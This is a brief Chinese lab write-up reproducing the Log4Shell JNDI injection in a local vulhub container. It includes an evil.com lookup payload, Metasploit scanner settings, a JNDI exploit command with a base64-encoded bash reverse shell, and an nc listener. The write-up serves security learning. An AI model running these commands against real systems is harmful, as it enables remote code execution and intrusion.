概述

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。

产生原因及影响

在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

环境搭建

vulhub

1
2
cd log4j/CVE-2021-44228
docker-compose up -d

复现

漏洞检测auxiliary/scanner/http/log4shell_scanner

1
2
3
4
5
6
use auxiliary/scanner/http/log4shell_scanner
set RHOSTS 127.0.0.1
set RPORT 8983
set SRVPORT 4266
set SRVHOST 192.168.2.183
run

创建JNDI监听

1
j8 -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTgzLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.2.183"

image.png

创建本地监听

1
nc -lvnp 4444

发包

image.png

攻防

防御

升级log4j2

参考

Log4j2远程代码执行漏洞(cve-2021-44228)复现笔记内容 FreeBuf网络安全行业门户